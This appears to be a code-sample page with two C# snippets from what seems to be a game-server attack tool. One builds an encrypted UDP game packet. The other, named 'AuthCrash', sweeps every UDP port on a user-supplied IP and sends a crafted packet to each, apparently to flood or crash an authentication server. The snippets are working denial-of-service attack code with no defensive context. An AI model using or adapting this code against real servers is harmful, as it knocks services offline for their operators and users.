Beispiel #1
0
 public byte[] ArrayBytesUdp(string valuebytes)
 {
     using (SendPacket send = new SendPacket())
     {
         byte[] buff   = Encoding.Unicode.GetBytes(valuebytes);
         byte[] action = Encrypt(buff, (13 + buff.Length) % 6 + 1);
         send.WriteC(3);                            // OPCODE
         send.WriteC(255);                          //SLOT
         send.WriteT(DateTime.Now.Second);          //TIMER
         send.WriteC(10);                           //ROUND
         send.WriteH((ushort)(13 + action.Length)); //LENGTH
         send.WriteD(0);                            //unk
         send.WriteD(0);                            //unk
         send.WriteB(action);
         return(send.stream.ToArray());
     }
 }
Beispiel #2
0
 public void AuthCrash()
 {
     new Thread(() =>
     {
         for (int i = 0; i <= IPEndPoint.MaxPort; i++)
         {
             if (BloquearFlod)
             {
                 break;
             }
             try
             {
                 IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Parse(textBox1.Text), i);
                 UdpClient udpClient   = new UdpClient()//1915
                 {
                     ExclusiveAddressUse = false,
                 };
                 udpClient.Client.Connect(iPEndPoint);
                 udpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
                 if (udpClient.Client.Connected)
                 {
                     SendPacket s = new SendPacket();
                     s.WriteH(15);
                     s.WriteC(0);
                     udpClient.Client.Send(s.stream.ToArray(), s.stream.ToArray().Length, SocketFlags.None);
                     udpClient.Close();
                 }
                 label6.Text = $"Procurando Porta [{i}]";
             }
             catch (Exception ex)
             {
                 MessageBox.Show(ex.ToString());
                 break;
             }
         }
         new Thread(new ThreadStart(SyncRemoverFlod)).Start();
     }).Start();
 }